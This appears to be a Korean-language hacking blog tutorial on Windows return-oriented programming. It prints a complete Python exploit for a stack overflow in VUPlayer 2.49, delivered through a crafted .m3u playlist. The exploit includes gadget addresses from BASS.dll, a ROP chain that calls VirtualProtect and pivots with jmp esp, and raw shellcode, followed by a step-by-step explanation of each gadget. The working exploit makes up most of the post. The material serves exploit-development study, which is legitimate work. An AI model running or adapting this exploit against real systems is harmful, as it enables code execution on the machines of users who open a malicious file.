-
Windows ROPHack/Windows 2016. 6. 3. 04:59
ROP는 Return Oriented Programming 의 약자로, 가젯을 하나하나 모아서 공격하는 기법이에요
스택을 잘 조절하면서 익스플로잇을하면되는데, 리눅스 ROP를 해보신분이라면 하는방법은 똑같기때문에 가젯구하는법등만 배우시면 충분히 하실수있어요
Hyunmini님의 강의로 제작된 글이에요
우선 VUPlayer 2.49버전으로 잡았어요
!mona modules
모듈들을보면 ROP하기 딱좋은 모두 False가되어있는 모듈들이 존재하네요
그럼 BASS.dll로 잡아보고 익스플로잇을 하면 되겠네요
!mona 기능을 이용해서 가젯들을 모아볼게요
!mona rop -m BASS 명령을 치게되면 Immunity 디렉터리에 stackpivot.txt라는 파일이생겨요
ROP하기 좋은 가젯들을 모두 찾아줘요 가젯들은 모두 된거같고 일단 익스플로잇 코드를 먼저 올려놓고 설명을 해볼게요
import struct p = lambda x:struct.pack("<L",x) f = open("test.m3u","w") shellcode = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x69\x21\x21\x01\x68\x67\x73\x61\x72\x68\x20\x73\x30\x6e\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff\xd7" virtualprotect = 0x10040284 popediret = 0x100190b0 retn = 0x1001dc05 popeaxret = 0x10015f77 moveaxptr = 0x1001eaf1 xchgeaxesi = 0x10030950 jmpesp = 0x10022aa7 popebpret = 0x100106e1 popecxret = 0x100163c7 negeaxret = 0x10014db4 xchgeaxebx = 0x10032f72 xchgeaxedx = 0x10038a6c pushadret = 0x1001d7a5 payload = "A"*1012 # eip is RETN payload += p(popediret) payload += p(retn) # esi virtualprotect payload += p(popeaxret) payload += p(virtualprotect) payload += p(moveaxptr) payload += p(xchgeaxesi) #ebp = jmpesp payload += p(popebpret) payload += p(jmpesp) #ebx = 0x201 payload += p(popeaxret) payload += p(0xfffffdff) payload += p(negeaxret) payload += p(xchgeaxebx) #edx = 0x40 payload += p(popeaxret) payload += p(0xffffffc0) payload += p(negeaxret) payload += p(xchgeaxedx) #ecx = 0x1060d0ca payload += p(popecxret) payload += p(0x1060d0ca) #eax = 0x90909090 payload += p(popeaxret) payload += p(0x90909090) #PUSHAD payload += p(pushadret) payload += shellcode f.write(payload) f.close()
많은 가젯주소들이 존재해요 일단 대충 페이로드를 보자면
우선 RET를 EIP로 설정해서 시작해요
VirtualProtect(esp,0x200,0x40,0x1060d0ca) 를 실행하고, ebp가 jmp esp인데, stdcall 규약의 최종리턴은 ebp가 하기때문에 jmp esp가 되서 쉘코드로 분기하게되요
마지막 pushad, ret을 사용한 이유는 pushad같은경우는 레지스터 8개 모두가 스택에 나란히 정렬되기때문에 편하게 스택을 구성할수있어요
그리고 쓸데없이 edx를 0x40으로 세팅할때, 0xffffffc0같은것을 넣어두고 neg 명령을 사용했는데, 이는 널바이트를 피하기위함이기때문에 저렇게 해준거에요
또, VirtualProtect함수주소를 구할때, mov eax, DWORD PTR [EAX]를 사용한이유는 kernel32.dll은 ASLR이 걸려있기때문에 익스플로잇이 힘들어져, IAT주소를 그대로 가져오기위해서 저 가젯을 사용한거에요!! 그리고 eax에 90909090을 넣어준이유는 스택으로 뛸때 그곳에 값이있을수있기때문에 놉슬레드 4번을 해준거구요 pushad를 통해서 어차피 스택에 나란히 들어가니까요~
이해가 잘 안되시는 분들을위해서 한번더 설명해볼게요
-----
VirtualProtect 함수는 API이기때문에 일단 호출규약은 stdcall 임을 알수있어요.
그럼 다음과같이 함수가 호출되기전에 레지스터가 설정되어야겠죠
ESI = 함수주소
ebp = 최종리턴주소 (쉘코드가있는곳으로 뛸수있는 가젯 )
esp = 첫번째인자 ( 옵션을 바꿀 주소 )
ebx = 두번째인자 ( 위 주소부터 얼만큼의 크기를 해제할지 )
edx = 세번째인자 ( 해당 주소를 어떤 옵션으로 바꿀것인지 - read, readwrite ....)
ecx = 네번째인자 ( 바꾸기전 옵션을 저장할곳 )
모두 VirtualProtect의 함수원형은 아실거에요, 위에 적어놨구요
마지막 ecx에 이상한주소가 들어가있는데, 이전옵션을 적어놓기때문에 (돌려놓기위함), Writeable 즉, 쓰기권한이있는 모든 주소를 그냥 넣어주면되요
디버깅을해보기위해 페이로드 맨첫번째 가젯에 브레이크포인트를 걸어주고 파일을 올려볼거에요
계속 실행해주면 원하는대로 함수주소와 각각의인자들이 세팅되어있어요
eax는 놉슬레드를위해서 pushad가 실행되면 스택에 나란히 쌓이겠죠 한번 스택을 확인해볼게요
call VirtualProtect를 실행하고나서의 스택이에요, ebp는 jmp esp 가젯의 주소가 들어가있기때문에 RET명령을 수행하고나면 JMP ESP가젯이 있는곳으로 리턴하겠네요
리턴해보니까 jmp esp가 있는곳으로 가구요 그럼 쉘코드가 정상적으로 실행되겠네요
'Hack > Windows' 카테고리의 다른 글
My MP3 Player - Stack Overflow (0) 2016.06.04 CoolPlayer Overflow (0) 2016.06.03 Windows RTL (0) 2016.06.02 SafeSEH 우회 (0) 2016.06.02 Virtual Table(Vtable), Overwrite (3) 2016.06.02